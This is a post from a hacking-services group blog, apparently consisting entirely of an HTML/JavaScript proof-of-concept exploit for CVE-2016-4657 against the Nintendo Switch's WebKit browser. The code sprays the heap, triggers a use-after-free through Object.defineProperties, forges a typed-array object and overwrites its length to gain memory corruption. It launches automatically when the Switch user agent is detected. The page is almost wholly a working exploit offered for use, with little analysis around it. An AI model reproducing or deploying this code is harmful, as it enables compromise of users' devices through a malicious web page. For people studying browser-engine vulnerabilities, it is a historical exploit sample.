Jump to content

Hacker Technology

A group blog by Leader in Hacker Website - Providing Professional Ethical Hacking Services

  • Entries

    16114

  • Comments

    7952

  • Views

    86398561

Contributors to this blog

  • HireHackking 16114

About this blog

Hacking techniques include penetration testing, network security, reverse cracking, malware analysis, vulnerability exploitation, encryption cracking, social engineering, etc., used to identify and fix security flaws in systems.

HireHackking 
<!doctype html>
<html>
    <head>
        <title>CVE-2016-4657 Switch PoC</title>
        <style>
            body {font-size: 2em;}
            a {text-decoration: none; color: #000;}
            a:hover {color: #f00; font-weight: bold;}
        </style>
    </head>
    <body>
        <h1>CVE-2016-4657 Nintendo Switch PoC</h1>
        <ul>
            <li><a href=\'javascript:go();\'> go!</a></li>
            <li><a href=\'javascript:document.location.reload();\'> reload</a></li>
        </ul>
        <div id=\'status\'> waiting... click go.</div>

            <script>
                // display JS errors as alerts. Helps debugging.
                window.onerror = function(error, url, line) {
                    alert(error+\' URL:\'+url+\' L:\'+line);
                };
            </script>
            <script>

                // based on jbme.qwertyoruiop.com
                // Thanks to:
                //  + qwertyoruiop
                //  + Retr0id
                //  + Ando
                //
                // saelo\'s phrack article is invaluable: http://www.phrack.org/papers/attacking_javascript_engines.html

                // garbage collection stuff
                var pressure = new Array(100);
                // do garbage collect
                dgc = function() {
                    for (var i = 0; i < pressure.length; i++) {
                        pressure[i] = new Uint32Array(0x10000);
                    }
                    for (var i = 0; i < pressure.length; i++) {
                        pressure[i] = 0;
                    }
                }


                // access to the overlapping Uint32Array
                var bufs = new Array(0x1000);
                // we will modify the vector of this
                var smash = new Uint32Array(0x10);
                // the array with the stale pointer
                var stale = 0;

                var _dview = null;
                // write 2x 32bit in a DataView and get the Float representation of it
                function u2d(low, hi) {
                    if (!_dview) _dview = new DataView(new ArrayBuffer(16));
                    _dview.setUint32(0, hi);
                    _dview.setUint32(4, low);
                    return _dview.getFloat64(0);
                }

                function go_() {
                    // check if the length of the array smash changed already. if yes, bail out.
                    if (smash.length != 0x10) return;

                    // garbage collect
                    dgc();

                    // new array with 0x100 elements
                    var arr = new Array(0x100);

                    // new array buffer of length 0x1000
                    var yolo = new ArrayBuffer(0x1000);

                    // populate the arr with pointer to yolo and a number. not quite sure why.
                    arr[0] = yolo;
                    arr[1] = 0x13371337;

                    // create an object whos toString function returns number 10 and messes with arr.
                    var not_number = {};
                    not_number.toString = function() {
                        arr = null;
                        props[\"stale\"][\"value\"] = null;

                        // if bufs is already overlapping memory, bail out.
                        if (bufs[0]) return 10;
                        // really make sure garbage is collected
                        // the array pointed at by arr should be gone now.
                        for (var i = 0; i < 20; i++) {
                            dgc();
                        }
                        // for the whole buf Array
                        for (i = 0; i < bufs.length; i++) {
                            // fill it with a lot of Uint32Arrays, hopefully allocated where arr was earlier
                            bufs[i] = new Uint32Array(0x100 * 2)
                            // for each element of that array
                            for (k = 0; k < bufs[i].length;) {
                                // set memory to 0x41414141 0xffff0000
                                // basically spraying the JSValue 0xffff000041414141
                                // which is the Integer 0x41414141
                                // phrack: Integer FFFF:0000:IIII:IIII
                                bufs[i][k++] = 0x41414141;
                                bufs[i][k++] = 0xffff0000;
                            }
                        }
                        return 10;
                    };
                    // define a new object with some properties
                    var props = {
                        p0: { value: 0 },
                        p1: { value: 1 },
                        p2: { value: 2 },
                        p3: { value: 3 },
                        p4: { value: 4 },
                        p5: { value: 5 },
                        p6: { value: 6 },
                        p7: { value: 7 },
                        p8: { value: 8 },
                        // the length of this object is set to this object that does evil stuff with toString()
                        length: { value: not_number },
                        // the reference to the arr array. Which will later be freed.
                        stale: { value: arr },
                        after: { value: 666 }
                    };
                    // define a new target array
                    var target = [];

                    // TRIGGER BUG!
                    // set the properties of the target based on the previously defined ones
                    Object.defineProperties(target, props);

                    // get a reference to the target stale property, which points to arr
                    stale = target.stale;

                    // make sure that the stale[0] points actually to the 0x41414141 data if not, we don\'t wanna mess with it and try again
                    if(stale[0]==0x41414141) {
                        // stale[0] is now pointing at a fake Integer 0x41414141. Now make it 0x41414242
                        stale[0] += 0x101;
                        //stale[0] = 0x41414242;
                        //document.getElementById(\'status\').innerText = \'bug done.\';
                        // searching the whole memory that is overlaying the old arr. Looking for 0x41414242
                        for (i = 0; i < bufs.length; i++) {
                            for (k = 0; k < bufs[0].length; k++) {
                                // Found the value! bufs[i][k] point now at the same memory as stale[0]
                                if (bufs[i][k] == 0x41414242) {
                                    alert(\'Overlapping Arrays found at bufs[\'+i+\'][\'+k+\']\\nsmash.length is still: 0x\'+smash.length.toString(16));

                                    // create a new object. Will look kinda like this:
                                    // 0x0100150000000136 0x0000000000000000 <- fictional value
                                    // 0x0000000000000064 0x0000000000000000 <- [\'a\'],[\'b\']
                                    // 0x???????????????? 0x0000000000000100 <- [\'c\'],[\'d\']
                                    stale[0] = {
                                        \'a\': u2d(105, 0), // the JSObject properties ; 105 is the Structure ID of Uint32Array
                                        \'b\': u2d(0, 0),
                                        \'c\': smash, // var pointing at the struct of a Uint32Array(0x10)
                                        \'d\': u2d(0x100, 0)
                                    }

                                    alert(\'created the JSObject.\\nstale[0] = \'+stale[0]);

                                    // remember the original stale pointer, pointing at the object with the a,b,c,d properties
                                    stale[1] = stale[0];

                                    // now add 0x10 to the pointer of stale[0], which points now in the middle of the object.
                                    bufs[i][k] += 0x10;
                                    // check the type of stale[0].

                                    // removed the loop because it makes the exploit sooooooo unreliable
                                    // based on phrack paper - Predicting structure IDs (http://www.phrack.org/papers/attacking_javascript_engines.html)
                                    /*while(!(stale[0] instanceof Uint32Array)) {
                                        // if stale[0] is not a Uint32Array yet, increment the structureID guess
                                        structureID++;

                                        // assign the next structureID to the original object still referenced by stale[1]
                                        stale[1][\'a\'] = u2d(structureID, 0);
                                    }*/

                                    // Give some information. stale[0] should now be a Uint32Array
                                    alert(\'misaligned the pointer to the JSObject.\\nstale[0] = \'+stale[0]+\'\');

                                    // write to the 6th 32bit value of the memory pointed to by the crafted Uint32Array
                                    // which should point to the struct of smash, allowing us to overwrite the length of smash
                                    stale[0][6] = 0x1337;

                                    // check the length of smash is now.
                                    alert(\'smash.length is now: 0x\'+smash.length.toString(16));

                                    alert(\'done!\\nswitch will probably crash now :O\');
                                    return;
                                }
                            }
                        }
                    }
                    document.getElementById(\'status\').innerText = \' fail. refresh the page and try again...\';
                    setTimeout(function() {document.location.reload();}, 1000);
                }

                function go() {
                    document.getElementById(\'status\').innerText = \' go! \';
                    dgc();
                    dgc();
                    dgc();
                    dgc();
                    dgc();
                    dgc();
                    setTimeout(go_, 500);
                }

                // if Switch browser is detected, auto start exploit
                if(navigator.userAgent.indexOf(\'Nintendo Switch\')>-1) {
                    document.getElementById(\'status\').innerText = \'Found Nintendo Switch! \';
                    setTimeout(go, 2000);
                }
            </script>
    </body>
</html>